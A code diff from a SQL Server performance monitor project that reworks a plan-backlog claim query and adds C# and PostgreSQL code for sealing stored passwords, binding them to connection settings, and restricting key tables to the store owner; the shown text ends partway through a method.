+    public static int TriedRowsPerClaim(int limit) => limit / 2;
+
+    /// <summary>
+    /// The sweep's claim for one server: the rows with no content yet and no standing expiry, at most
+    /// <paramref name="limit"/> of them, in the order the sweep works them: rows already tried first, oldest ATTEMPT
+    /// first, then the rows never attempted, largest plan first. A never-tried row's size is what ranks it, because
+    /// those are the plans the cap cost the most visibility on, which is the whole reason to go back for them.
+    ///
+    /// <para><b>Which rows make the cut (#5367).</b> Tried rows get at most <see cref="TriedRowsPerClaim"/> of the
+    /// slots (oldest attempt first) and never-tried rows get the rest (largest first); a side that is short leaves
+    /// its unused slots to the other. A row tried once used to sit behind every row never tried, so with new rows
+    /// arriving each pass it could wait without end, and the sweep judges a tried row on a session of its own
+    /// (<c>OversizedPlanBacklogSweep.SessionFor</c>) so that each claim of it makes progress. Each tried row whose
+    /// fetch succeeds leaves in at most two claims after the one that tried it: judged, or a judge timeout counted
+    /// and then the marker. A tried row whose fetch FAILS is not counted and never retires, so it stays in the
+    /// tried queue: that queue is served round-robin by attempt age, <see cref="TriedRowsPerClaim"/> rows a pass,
+    /// and the cap is what stops it from taking every slot.</para>
     ///
     /// <para>The limit is interpolated from the caller's own constant rather than written here, so the
     /// statement and the policy cannot disagree about how many plans one tick may fetch. It is never user
     /// input.</para>
     /// </summary>
-    public static string ClaimSql(int limit) => @"
+    public static string ClaimSql(int limit)
+    {
+        var triedShare = TriedRowsPerClaim(limit).ToString(CultureInfo.InvariantCulture);
+        var newShare = (limit - TriedRowsPerClaim(limit)).ToString(CultureInfo.InvariantCulture);
+        var all = limit.ToString(CultureInfo.InvariantCulture);
+        return @"
 SELECT
     collector_name,
     plan_handle,
@@ -185,15 +211,57 @@ public static string ClaimSql(int limit) => @"
     statement_start_offset,
     statement_end_offset,
     database_name,
-    observed_bytes
-FROM collect.oversized_plan_backlog
-WHERE server_id = $1
-AND   captured_at IS NULL
-AND   expired_at IS NULL
+    observed_bytes,
+    attempt_count,
+    tried
+FROM
+(
+    SELECT
+        collector_name,
+        plan_handle,
+        sql_handle,
+        statement_start_offset,
+        statement_end_offset,
+        database_name,
+        observed_bytes,
+        attempt_count,
+        last_attempt_at,
+        tried
+    FROM
+    (
+        SELECT
+            collector_name,
+            plan_handle,
+            sql_handle,
+            statement_start_offset,
+            statement_end_offset,
+            database_name,
+            observed_bytes,
+            attempt_count,
+            last_attempt_at,
+            last_attempt_at IS NOT NULL AS tried,
+            row_number() OVER
+            (
+                PARTITION BY (last_attempt_at IS NOT NULL)
+                ORDER BY last_attempt_at ASC, observed_bytes DESC
+            ) AS share_rank
+        FROM collect.oversized_plan_backlog
+        WHERE server_id = $1
+        AND   captured_at IS NULL
+        AND   expired_at IS NULL
+    ) AS ranked
+    ORDER BY
+        (share_rank <= CASE WHEN tried THEN " + triedShare + " ELSE " + newShare + @" END) DESC,
+        tried DESC,
+        last_attempt_at ASC,
+        observed_bytes DESC
+    LIMIT " + all + @"
+) AS claimed
 ORDER BY
-    last_attempt_at ASC NULLS FIRST,
-    observed_bytes DESC
-LIMIT " + limit.ToString(CultureInfo.InvariantCulture) + ";";
+    tried DESC,
+    last_attempt_at ASC,
+    observed_bytes DESC;";
+    }
 
     /// <summary>A fetch that returned the plan: store it, and retire any standing expiry.</summary>
     public const string RecordCaptureSql = @"
@@ -212,13 +280,22 @@ UPDATE collect.oversized_plan_backlog
     public const string RecordExpirySql = @"
 UPDATE collect.oversized_plan_backlog
 SET expired_at = $7,
-    last_attempt_at = $7,
-    attempt_count = attempt_count + 1" + KeyPredicate + ";";
+    last_attempt_at = $7" + KeyPredicate + ";";
+
+    /// <summary>
+    /// A fetch that could not complete — connect failure, driver fault, its own budget, or a judging budget an
+    /// earlier plan had already used. NOT an expiry: nothing was learned about the handle, so the row stays
+    /// claimable and simply goes to the back of the tried rows. Not counted in <c>attempt_count</c>, which is the
+    /// retirement limit's count of judge timeouts and nothing else (#5367 review, A-M1).
+    /// </summary>
+    public const string RecordFailureSql = @"
+UPDATE collect.oversized_plan_backlog
+SET last_attempt_at = $7" + KeyPredicate + ";";
 
     /// <summary>
-    /// A fetch that could not complete — connect failure, driver fault, or its own budget. NOT an expiry:
-    /// nothing was learned about the handle, so the row stays claimable and simply goes to the back of the
-    /// queue.
+    /// A plan that had the whole judging budget to itself and overran it: the one outcome that adds to
+    /// <c>attempt_count</c>. The row stays claimable and goes to the back of the tried rows, until the count reaches
+    /// the sweep's limit and the whole-plan marker is stored as the capture.
     /// </summary>
     public const string RecordAttemptSql = @"
 UPDATE collect.oversized_plan_backlog
@@ -302,7 +379,12 @@ ORDER BY ps.collection_time DESC
     /// along because the outcome statements address the full key.</param>
     /// <param name="Observation">The cache coordinates and the measured size, in the same shape the
     /// collector described it.</param>
-    public sealed record PendingPlan(string CollectorName, OversizedPlanObservation Observation);
+    /// <param name="AttemptCount">The row's <c>attempt_count</c> at claim time: how many times the plan has had the
+    /// whole judging budget to itself and overrun it. The sweep retires a plan the judging budget keeps failing to
+    /// cover once this reaches its limit (#5320); a connect failure or an expiry does not add to it.</param>
+    /// <param name="Tried">Whether the row had been attempted before this claim (<c>last_attempt_at</c> is set), whatever
+    /// the outcome was. The sweep judges a tried row on a judging session of its own (#5367).</param>
+    public sealed record PendingPlan(string CollectorName, OversizedPlanObservation Observation, int AttemptCount = 0, bool Tried = false);
 
     /// <summary>
     /// Records this cycle's over-cap sightings for one server. Opens NO connection when there are none,
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PasswordBinding.cs b/Darling/PerformanceMonitor.Darling.Storage/PasswordBinding.cs
new file mode 100644
index 0000000000..ec22104c22
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/PasswordBinding.cs
@@ -0,0 +1,194 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Buffers.Binary;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// What a sealed password belongs to (#5366): a purpose and the ordered connection fields the password is used with.
+/// Both go into the sealed value's associated data, so a value opens only for the purpose and the fields it was sealed
+/// for. The field set and order are part of the stored format: a migration that rewrites a bound column breaks every
+/// value sealed over the old text, so a change here or to a bound column needs a plan for the values already stored.
+/// </summary>
+public sealed class PasswordBinding
+{
+    private const string FormatLabel = "PerformanceMonitor.Darling.sealed.v1";
+
+    /// <summary>The purpose of a SQL login password or a service-principal secret (and of its connection test).</summary>
+    public const string ServerPurpose = "server";
+
+    /// <summary>The purpose of a remediation login password.</summary>
+    public const string RemediationPurpose = "remediation";
+
+    /// <summary>The purpose of the mail-server password.</summary>
+    public const string SmtpPurpose = "smtp";
+
+    /// <summary>The purpose of a webhook URL, the PagerDuty routing key and the generic webhook's headers.</summary>
+    public const string WebhookPurpose = "webhook";
+
+    /// <summary>The webhook slots, in the order the notification row lists its columns: the Teams URL, the Slack URL,
+    /// the generic URL, the PagerDuty routing key and the generic headers.</summary>
+    public static readonly IReadOnlyList<string> WebhookSlots = new[]
+    {
+        "teams", "slack", "generic", "pagerduty", "generic_headers",
+    };
+
+    /// <summary>The row id of the notification settings row, for <see cref="ForWebhook"/>.</summary>
+    public const string WebhookSettingsRow = "notification";
+
+    /// <summary>The row id of a notification route, for <see cref="ForWebhook"/>.</summary>
+    public static string WebhookRouteRow(int routeId) => "route:" + Number(routeId);
+
+    /// <summary>The names of the server purpose's fields, in the order <see cref="ForServer"/> binds them. The census
+    /// checks these against <see cref="ServerConnectionIdentity"/>.</summary>
+    internal static readonly IReadOnlyList<string> ServerFieldNames = new[]
+    {
+        nameof(ServerConnectionIdentity.Host), nameof(ServerConnectionIdentity.Port),
+        nameof(ServerConnectionIdentity.Database), nameof(ServerConnectionIdentity.ReadOnlyIntent),
+        nameof(ServerConnectionIdentity.Auth), nameof(ServerConnectionIdentity.Username),
+        nameof(ServerConnectionIdentity.EncryptMode), nameof(ServerConnectionIdentity.TrustServerCertificate),
+        nameof(ServerConnectionIdentity.MultiSubnetFailover), nameof(ServerConnectionIdentity.Engine),
+    };
+
+    /// <summary>The names of the remediation purpose's fields, in the order <see cref="ForRemediation"/> binds them. The
+    /// census checks the remediation connection builder against these.</summary>
+    internal static readonly IReadOnlyList<string> RemediationFieldNames = new[]
+    {
+        nameof(ServerConnectionIdentity.Host), nameof(ServerConnectionIdentity.Database),
+        nameof(ServerConnectionIdentity.EncryptMode), nameof(ServerConnectionIdentity.TrustServerCertificate),
+        nameof(ServerConnectionIdentity.MultiSubnetFailover), "RemediationUsername",
+        nameof(ServerConnectionIdentity.Engine),
+    };
+
+    private static readonly Dictionary<string, int> FieldCounts = new Dictionary<string, int>(StringComparer.Ordinal)
+    {
+        [ServerPurpose] = 10,
+        [RemediationPurpose] = 7,
+        [SmtpPurpose] = 4,
+        [WebhookPurpose] = 4,
+    };
+
+    private PasswordBinding(string purpose, string?[] fields)
+    {
+        if (!FieldCounts.TryGetValue(purpose, out var expected) || fields.Length != expected)
+        {
+            throw new InvalidOperationException("A password binding has a fixed number of fields for each purpose.");
+        }
+
+        Purpose = purpose;
+        Fields = Array.AsReadOnly(fields);
+    }
+
+    /// <summary>The purpose the password is sealed for.</summary>
+    public string Purpose { get; }
+
+    /// <summary>The bound field values, in order. Null and empty bind the same.</summary>
+    public IReadOnlyList<string?> Fields { get; }
+
+    /// <summary>
+    /// The binding for a server's SQL password or service-principal secret: host, port, database, read-only intent,
+    /// authentication, username, encrypt mode, certificate trust, multi-subnet failover and engine. The server id is not
+    /// bound, so a row keeps its password when it is renumbered.
+    /// </summary>
+    public static PasswordBinding ForServer(ServerConnectionIdentity c) => new(ServerPurpose, new string?[]
+    {
+        c.Host, Number(c.Port), c.Database, Flag(c.ReadOnlyIntent), Lower(c.Auth), c.Username,
+        Lower(c.EncryptMode), Flag(c.TrustServerCertificate), Flag(c.MultiSubnetFailover), Lower(c.Engine),
+    });
+
+    /// <summary>The binding for a server's remediation password: host, database, encrypt mode, certificate trust,
+    /// multi-subnet failover, the remediation username and engine.</summary>
+    public static PasswordBinding ForRemediation(ServerConnectionIdentity c, string? remediationUsername) =>
+        new(RemediationPurpose, new string?[]
+        {
+            c.Host, c.Database, Lower(c.EncryptMode), Flag(c.TrustServerCertificate), Flag(c.MultiSubnetFailover),
+            remediationUsername, Lower(c.Engine),
+        });
+
+    /// <summary>The binding for the mail-server password: host, port, whether SSL is used, and the username.</summary>
+    public static PasswordBinding ForSmtp(string? host, int port, bool useSsl, string? username) =>
+        new(SmtpPurpose, new string?[] { host, Number(port), Flag(useSsl), username });
+
+    /// <summary>
+    /// The binding for a webhook value: its slot (one of <see cref="WebhookSlots"/>), the row it is stored in
+    /// (<see cref="WebhookSettingsRow"/> or <see cref="WebhookRouteRow"/>), the proxy text of its channel, and, for the
+    /// generic headers, the stored text of the same row's generic URL (empty for every other slot). A value opens only
+    /// in the slot and row it was sealed for, and a changed proxy or generic URL needs the value again.
+    /// </summary>
+    public static PasswordBinding ForWebhook(string slot, string row, string? proxy, string? boundUrl)
+    {
+        var known = false;
+        foreach (var name in WebhookSlots)
+        {
+            known |= string.Equals(name, slot, StringComparison.Ordinal);
+        }
+
+        if (!known)
+        {
+            throw new ArgumentException("A webhook binding names one of the webhook slots.", nameof(slot));
+        }
+
+        return new(WebhookPurpose, new string?[] { slot, row, proxy, boundUrl });
+    }
+
+    /// <summary>The associated data for a value sealed under <paramref name="keyId"/>: the format label, the key id, the
+    /// purpose and each field, each as a 4-byte big-endian length and its UTF-8 bytes.</summary>
+    public byte[] EncodeAad(string keyId) => Encode(keyId);
+
+    /// <summary>
+    /// SHA-256 of the same encoding with an empty key id. A value that is not sealed (a legacy one) is pinned to its row
+    /// by this hash, because it has no key id.
+    /// </summary>
+    public byte[] LegacyPinHash() => SHA256.HashData(Encode(""));
+
+    private byte[] Encode(string keyId)
+    {
+        using var buffer = new MemoryStream();
+        Append(buffer, FormatLabel);
+        Append(buffer, keyId);
+        Append(buffer, Purpose);
+        foreach (var field in Fields)
+        {
+            Append(buffer, field);
+        }
+
+        return buffer.ToArray();
+    }
+
+    private static void Append(MemoryStream buffer, string? text)
+    {
+        byte[] bytes;
+        try
+        {
+            bytes = PasswordSeal.StrictUtf8.GetBytes(text ?? "");
+        }
+        catch (EncoderFallbackException)
+        {
+            // Never echo the value: the message names no field text and carries no inner exception.
+            throw new ArgumentException("A password binding field is not valid text.");
+        }
+
+        Span<byte> length = stackalloc byte[4];
+        BinaryPrimitives.WriteInt32BigEndian(length, bytes.Length);
+        buffer.Write(length);
+        buffer.Write(bytes);
+    }
+
+    private static string Number(int value) => value.ToString(CultureInfo.InvariantCulture);
+
+    private static string Flag(bool value) => value ? "1" : "0";
+
+    private static string? Lower(string? value) => value?.ToLowerInvariant();
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PasswordKeyTables.cs b/Darling/PerformanceMonitor.Darling.Storage/PasswordKeyTables.cs
new file mode 100644
index 0000000000..adce021ba9
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/PasswordKeyTables.cs
@@ -0,0 +1,259 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The public half of the password key the service publishes (<c>config.password_key</c>): the key id, the
+/// SubjectPublicKeyInfo bytes and the algorithm name of the one key whose state is <c>current</c>.
+/// </summary>
+public sealed record PublishedPasswordKey(string KeyId, byte[] Spki, string Algorithm);
+
+/// <summary>
+/// One service host's row in <c>config.password_key_service</c>: which key the service holds and whether it is
+/// healthy. <see cref="State"/> is one of <c>loading</c>, <c>ok</c>, <c>missing</c>, <c>mismatch</c>, <c>refused</c> and
+/// <c>reset_pending</c>. <see cref="UpdatedAtUtc"/> is the row's naive UTC <c>timestamp</c> read as UTC.
+/// </summary>
+public sealed record PasswordKeyServiceState(string ServiceHost, string? KeyId, string State, string? Note, DateTime UpdatedAtUtc);
+
+/// <summary>
+/// The store's tables for the service's password key (V165, #5366), their creating script, and the two reads that
+/// writers and viewers share. Nothing in this class writes: the key tables are changed by the store owner only, and
+/// the owner-only trigger on each table (<see cref="CreateSql"/>) refuses every other writer.
+/// </summary>
+public static class PasswordKeyTables
+{
+    /// <summary>The store schema version of the rung that creates the tables (V165). A store below it has none of them.</summary>
+    public const int RungVersion = 165;
+
+    /// <summary>SQLSTATE the owner-only trigger raises when a session that is not the store owner writes a key table.</summary>
+    public const string OwnerOnlySqlState = "PW010";
+
+    /// <summary>
+    /// The four tables, the one-row marker, the owner-only trigger function and its two triggers per table, as the V165
+    /// rung runs them. Idempotent: tables and the unique index are guarded, the marker row is inserted once
+    /// (<c>ON CONFLICT DO NOTHING</c>), and the function is replaced and each trigger is dropped and created again. The rung embeds this text, so once V165 has
+    /// shipped, editing it edits a shipped rung: add a new rung instead; <c>PasswordKeyRungTests</c> pins the shape.
+    ///
+    /// <para>The function names the owner by <c>session_user</c> against the owner of the table it fires on, with every
+    /// catalog relation schema-qualified and <c>pg_temp</c> last in the function's search path, so a session's own
+    /// temporary objects are never consulted. It is not <c>SECURITY DEFINER</c>, and no other function may write these
+    /// tables on a caller's behalf. A session user whose membership in the owner role cannot be told (a NULL answer)
+    /// is refused. Every trigger is <c>ENABLE ALWAYS</c>, so it also fires when <c>session_replication_role</c> is
+    /// <c>replica</c>.</para>
+    /// </summary>
+    public const string CreateSql = @"
+CREATE TABLE IF NOT EXISTS config.password_key
+(
+    key_id text NOT NULL,
+    public_key bytea NOT NULL,
+    algorithm text NOT NULL,
+    state text NOT NULL,
+    replaced_reason text,
+    created_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    replaced_at timestamp,
+    CONSTRAINT pk_password_key PRIMARY KEY (key_id),
+    CONSTRAINT ck_password_key_id CHECK (key_id ~ '^[0-9a-f]{16}$'),
+    CONSTRAINT ck_password_key_state CHECK (state IN ('current', 'replaced')),
+    CONSTRAINT ck_password_key_replaced_reason CHECK (replaced_reason IS NULL OR replaced_reason IN ('reset', 'rotated')),
+    CONSTRAINT ck_password_key_algorithm CHECK (algorithm IN ('RSA3072-OAEP-SHA256/A256GCM')),
+    CONSTRAINT ck_password_key_public_key_size CHECK (octet_length(public_key) BETWEEN 256 AND 2048),
+    CONSTRAINT ck_password_key_replaced_columns CHECK (
+        (state = 'current' AND replaced_reason IS NULL AND replaced_at IS NULL)
+        OR (state = 'replaced' AND replaced_reason IS NOT NULL AND replaced_at IS NOT NULL)),
+    CONSTRAINT ck_password_key_id_matches_key CHECK (key_id = left(encode(sha256(public_key), 'hex'), 16))
+);
+
+CREATE UNIQUE INDEX IF NOT EXISTS ux_password_key_current ON config.password_key ((true)) WHERE state = 'current';
+
+CREATE TABLE IF NOT EXISTS config.password_key_service
+(
+    service_host text NOT NULL,
+    key_id text,
+    state text NOT NULL,
+    note text,
+    updated_at timestamp NOT NULL,
+    CONSTRAINT pk_password_key_service PRIMARY KEY (service_host),
+    CONSTRAINT ck_password_key_service_state CHECK (state IN ('loading', 'ok', 'missing', 'mismatch', 'refused', 'reset_pending'))
+);
+
+CREATE TABLE IF NOT EXISTS config.legacy_secret_pin
+(
+    server_id integer NOT NULL,
+    slot text NOT NULL,
+    value_sha256 bytea NOT NULL,
+    binding_sha256 bytea NOT NULL,
+    pinned_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    CONSTRAINT pk_legacy_secret_pin PRIMARY KEY (server_id, slot),
+    CONSTRAINT ck_legacy_secret_pin_slot CHECK (slot IN ('server', 'remediation', 'smtp'))
+);
+
+CREATE TABLE IF NOT EXISTS config.legacy_secret_pin_marker
+(
+    id integer NOT NULL,
+    state text NOT NULL,
+    changed_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    CONSTRAINT pk_legacy_secret_pin_marker PRIMARY KEY (id),
+    CONSTRAINT ck_legacy_secret_pin_marker_single_row CHECK (id = 1),
+    CONSTRAINT ck_legacy_secret_pin_marker_state CHECK (state IN ('pending', 'done', 'skipped'))
+);
+
+INSERT INTO config.legacy_secret_pin_marker (id, state)
+VALUES (1, 'pending')
+ON CONFLICT (id) DO NOTHING;
+
+-- The two pin tables carry no row-security policy, so only the owner and superusers see their rows.
+ALTER TABLE config.legacy_secret_pin ENABLE ROW LEVEL SECURITY;
+ALTER TABLE config.legacy_secret_pin_marker ENABLE ROW LEVEL SECURITY;
+
+CREATE OR REPLACE FUNCTION config.password_key_owner_only() RETURNS trigger
+LANGUAGE plpgsql
+SET search_path = pg_catalog, pg_temp
+AS $fn$
+BEGIN
+    IF pg_catalog.pg_has_role(
+               session_user,
+               (SELECT c.relowner FROM pg_catalog.pg_class AS c WHERE c.oid = TG_RELID),
+               'USAGE') IS NOT TRUE THEN
+        RAISE EXCEPTION 'Only the store owner can change the password key tables.' USING ERRCODE = 'PW010';
+    END IF;
+
+    IF TG_LEVEL = 'STATEMENT' THEN
+        RETURN NULL;
+    END IF;
+
+    IF TG_OP = 'DELETE' THEN
+        RETURN OLD;
+    END IF;
+
+    RETURN NEW;
+END;
+$fn$;
+
+REVOKE ALL ON FUNCTION config.password_key_owner_only() FROM PUBLIC;
+
+DROP TRIGGER IF EXISTS trg_password_key_owner_only_row ON config.password_key;
+CREATE TRIGGER trg_password_key_owner_only_row
+    BEFORE INSERT OR UPDATE OR DELETE ON config.password_key
+    FOR EACH ROW EXECUTE FUNCTION config.password_key_owner_only();
+DROP TRIGGER IF EXISTS trg_password_key_owner_only_truncate ON config.password_key;
+CREATE TRIGGER trg_password_key_owner_only_truncate
+    BEFORE TRUNCATE ON config.password_key
+    FOR EACH STATEMENT EXECUTE FUNCTION config.password_key_owner_only();
+
+DROP TRIGGER IF EXISTS trg_password_key_service_owner_only_row ON config.password_key_service;
+CREATE TRIGGER trg_password_key_service_owner_only_row
+    BEFORE INSERT OR UPDATE OR DELETE ON config.password_key_service
+    FOR EACH ROW EXECUTE FUNCTION config.password_key_owner_only();
+DROP TRIGGER IF EXISTS trg_password_key_service_owner_only_truncate ON config.password_key_service;
+CREATE TRIGGER trg_password_key_service_owner_only_truncate
+    BEFORE TRUNCATE ON config.password_key_service
+    FOR EACH STATEMENT EXECUTE FUNCTION config.password_key_owner_only();
+
+DROP TRIGGER IF EXISTS trg_legacy_secret_pin_owner_only_row ON config.legacy_secret_pin;
+CREATE TRIGGER trg_legacy_secret_pin_owner_only_row
+    BEFORE INSERT OR UPDATE OR DELETE ON config.legacy_secret_pin
+    FOR EACH ROW EXECUTE FUNCTION config.password_key_owner_only();
+DROP TRIGGER IF EXISTS trg_legacy_secret_pin_owner_only_truncate ON config.legacy_secret_pin;
+CREATE TRIGGER trg_legacy_secret_pin_owner_only_truncate
+    BEFORE TRUNCATE ON config.legacy_secret_pin
+    FOR EACH STATEMENT EXECUTE FUNCTION config.password_key_owner_only();
+
+DROP TRIGGER IF EXISTS trg_legacy_secret_pin_marker_owner_only_row ON config.legacy_secret_pin_marker;
+CREATE TRIGGER trg_legacy_secret_pin_marker_owner_only_row
+    BEFORE INSERT OR UPDATE OR DELETE ON config.legacy_secret_pin_marker
+    FOR EACH ROW EXECUTE FUNCTION config.password_key_owner_only();
+DROP TRIGGER IF EXISTS trg_legacy_secret_pin_marker_owner_only_truncate ON config.legacy_secret_pin_marker;
+CREATE TRIGGER trg_legacy_secret_pin_marker_owner_only_truncate
+    BEFORE TRUNCATE ON config.legacy_secret_pin_marker
+    FOR EACH STATEMENT EXECUTE FUNCTION config.password_key_owner_only();
+
+ALTER TABLE config.password_key ENABLE ALWAYS TRIGGER trg_password_key_owner_only_row;
+ALTER TABLE config.password_key ENABLE ALWAYS TRIGGER trg_password_key_owner_only_truncate;
+ALTER TABLE config.password_key_service ENABLE ALWAYS TRIGGER trg_password_key_service_owner_only_row;
+ALTER TABLE config.password_key_service ENABLE ALWAYS TRIGGER trg_password_key_service_owner_only_truncate;
+ALTER TABLE config.legacy_secret_pin ENABLE ALWAYS TRIGGER trg_legacy_secret_pin_owner_only_row;
+ALTER TABLE config.legacy_secret_pin ENABLE ALWAYS TRIGGER trg_legacy_secret_pin_owner_only_truncate;
+ALTER TABLE config.legacy_secret_pin_marker ENABLE ALWAYS TRIGGER trg_legacy_secret_pin_marker_owner_only_row;
+ALTER TABLE config.legacy_secret_pin_marker ENABLE ALWAYS TRIGGER trg_legacy_secret_pin_marker_owner_only_truncate;";
+
+    /// <summary>
+    /// The eight triggers <see cref="CreateSql"/> creates, by table: a row trigger and a truncate trigger on each of the
+    /// four key tables. The service checks the catalog against this list and expects every one to be <c>ENABLE ALWAYS</c>.
+    /// </summary>
+    public static readonly IReadOnlyList<(string Table, string Trigger)> OwnerOnlyTriggers = new[]
+    {
+        ("password_key", "trg_password_key_owner_only_row"),
+        ("password_key", "trg_password_key_owner_only_truncate"),
+        ("password_key_service", "trg_password_key_service_owner_only_row"),
+        ("password_key_service", "trg_password_key_service_owner_only_truncate"),
+        ("legacy_secret_pin", "trg_legacy_secret_pin_owner_only_row"),
+        ("legacy_secret_pin", "trg_legacy_secret_pin_owner_only_truncate"),
+        ("legacy_secret_pin_marker", "trg_legacy_secret_pin_marker_owner_only_row"),
+        ("legacy_secret_pin_marker", "trg_legacy_secret_pin_marker_owner_only_truncate"),
+    };
+
+    /// <summary>The one key whose state is <c>current</c>; the unique index allows at most one such row.</summary>
+    public const string ReadCurrentSql = @"
+SELECT key_id, public_key, algorithm
+FROM config.password_key
+WHERE state = 'current';";
+
+    /// <summary>
+    /// The service host row written most recently. With one service per store this is that service's row; the tie-break
+    /// on the host name makes the answer stable when two rows share a timestamp.
+    /// </summary>
+    public const string ReadNewestServiceStateSql = @"
+SELECT service_host, key_id, state, note, updated_at
+FROM config.password_key_service
+ORDER BY updated_at DESC, service_host
+LIMIT 1;";
+
+    /// <summary>Reads the current published key, or null when no key has been published (or the store is below V165).</summary>
+    public static async Task<PublishedPasswordKey?> ReadCurrentAsync(NpgsqlConnection c, CancellationToken ct)
+    {
+        ArgumentNullException.ThrowIfNull(c);
+
+        await using var command = new NpgsqlCommand(ReadCurrentSql, c);
+        command.CommandTimeout = StorageCommandDeadlines.McpReadSeconds;
+        await using var reader = await command.ExecuteReaderAsync(ct).ConfigureAwait(false);
+        if (!await reader.ReadAsync(ct).ConfigureAwait(false))
+        {
+            return null;
+        }
+
+        return new PublishedPasswordKey(reader.GetString(0), (byte[])reader.GetValue(1), reader.GetString(2));
+    }
+
+    /// <summary>Reads the service host row written most recently, or null when no service has written one.</summary>
+    public static async Task<PasswordKeyServiceState?> ReadNewestServiceStateAsync(NpgsqlConnection c, CancellationToken ct)
+    {
+        ArgumentNullException.ThrowIfNull(c);
+
+        await using var command = new NpgsqlCommand(ReadNewestServiceStateSql, c);
+        command.CommandTimeout = StorageCommandDeadlines.McpReadSeconds;
+        await using var reader = await command.ExecuteReaderAsync(ct).ConfigureAwait(false);
+        if (!await reader.ReadAsync(ct).ConfigureAwait(false))
+        {
+            return null;
+        }
+
+        return new PasswordKeyServiceState(
+            reader.GetString(0),
+            reader.IsDBNull(1) ? null : reader.GetString(1),
+            reader.GetString(2),
+            reader.IsDBNull(3) ? null : reader.GetString(3),
+            DateTime.SpecifyKind(reader.GetDateTime(4), DateTimeKind.Utc));
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/PasswordSeal.cs b/Darling/PerformanceMonitor.Darling.Storage/PasswordSeal.cs
new file mode 100644
index 0000000000..b159f4d499
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/PasswordSeal.cs
@@ -0,0 +1,507 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Buffers.Binary;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>Why a sealed password could not be opened or a key could not be read (#5366).</summary>
+public enum PasswordSealFailure
+{
+    /// <summary>The text or key is not in the expected structure.</summary>
+    Malformed,
+
+    /// <summary>The text names a sealed format version this build does not know.</summary>
+    NewerVersion,
+
+    /// <summary>The text was sealed with a key other than the one asked to open it.</summary>
+    UnknownKey,
+
+    /// <summary>The value did not open for these connection settings: they differ from the ones it was sealed for, or
+    /// the stored text was changed.</summary>
+    BindingOrTamper,
+}
+
+/// <summary>
+/// A sealed password could not be opened. The message is one fixed sentence per <see cref="Kind"/>; it never carries
+/// text from the crypto provider or the value itself, and there is never an inner exception.
+/// </summary>
+public sealed class PasswordSealException : Exception
+{
+    /// <summary>Creates the exception for <paramref name="kind"/>, optionally naming the key id the text carried.</summary>
+    public PasswordSealException(PasswordSealFailure kind, string? keyId = null)
+        : base(MessageFor(kind))
+    {
+        Kind = kind;
+        KeyId = keyId;
+    }
+
+    internal PasswordSealException(PasswordSealFailure kind, string message, string? keyId)
+        : base(message)
+    {
+        Kind = kind;
+        KeyId = keyId;
+    }
+
+    /// <summary>What went wrong.</summary>
+    public PasswordSealFailure Kind { get; }
+
+    /// <summary>The key id the sealed text carried, when it got far enough to read one.</summary>
+    public string? KeyId { get; }
+
+    private static string MessageFor(PasswordSealFailure kind) => kind switch
+    {
+        PasswordSealFailure.Malformed => "The saved password is not in a recognised sealed format.",
+        PasswordSealFailure.NewerVersion => "The saved password was sealed by a newer version of the service.",
+        PasswordSealFailure.UnknownKey => "The saved password was sealed with a key this service does not have.",
+        _ => "The saved password does not open for this server's connection settings.",
+    };
+}
+
+/// <summary>The public half of the service's password key: what every writer seals to.</summary>
+public sealed class PasswordPublicKey
+{
+    private readonly byte[] _spki;
+    private readonly byte[] _fingerprint;
+
+    private PasswordPublicKey(byte[] spki)
+    {
+        _spki = spki;
+        KeyId = PasswordSeal.KeyIdFor(spki);
+        _fingerprint = SHA256.HashData(spki);
+    }
+
+    /// <summary>The key id: 16 lowercase hex characters of the SHA-256 of <see cref="Spki"/>.</summary>
+    public string KeyId { get; }
+
+    /// <summary>The full SHA-256 of <see cref="Spki"/>, 32 bytes (a copy). A viewer pins this.</summary>
+    public byte[] Fingerprint => (byte[])_fingerprint.Clone();
+
+    /// <summary>The DER SubjectPublicKeyInfo of the key (a copy).</summary>
+    public byte[] Spki => (byte[])_spki.Clone();
+
+    /// <summary>Reads a public key. It must be an RSA key of exactly 3072 bits; anything else is
+    /// <see cref="PasswordSealFailure.Malformed"/>.</summary>
+    public static PasswordPublicKey FromSpki(byte[] spki)
+    {
+        if (spki is null || spki.Length == 0)
+        {
+            throw new PasswordSealException(PasswordSealFailure.Malformed);
+        }
+
+        var ok = false;
+        try
+        {
+            using var rsa = RSA.Create();
+            rsa.ImportSubjectPublicKeyInfo(spki, out var read);
+            ok = read == spki.Length && rsa.KeySize == PasswordSeal.KeyBits && HasStandardExponent(rsa);
+        }
+        catch (CryptographicException)
+        {
+        }
+        catch (ArgumentException)
+        {
+        }
+
+        if (!ok)
+        {
+            throw new PasswordSealException(PasswordSealFailure.Malformed);
+        }
+
+        return new PasswordPublicKey((byte[])spki.Clone());
+    }
+
+    // Both halves of the key must use the usual public exponent, 65537.
+    internal static bool HasStandardExponent(RSA rsa)
+    {
+        var exponent = rsa.ExportParameters(false).Exponent;
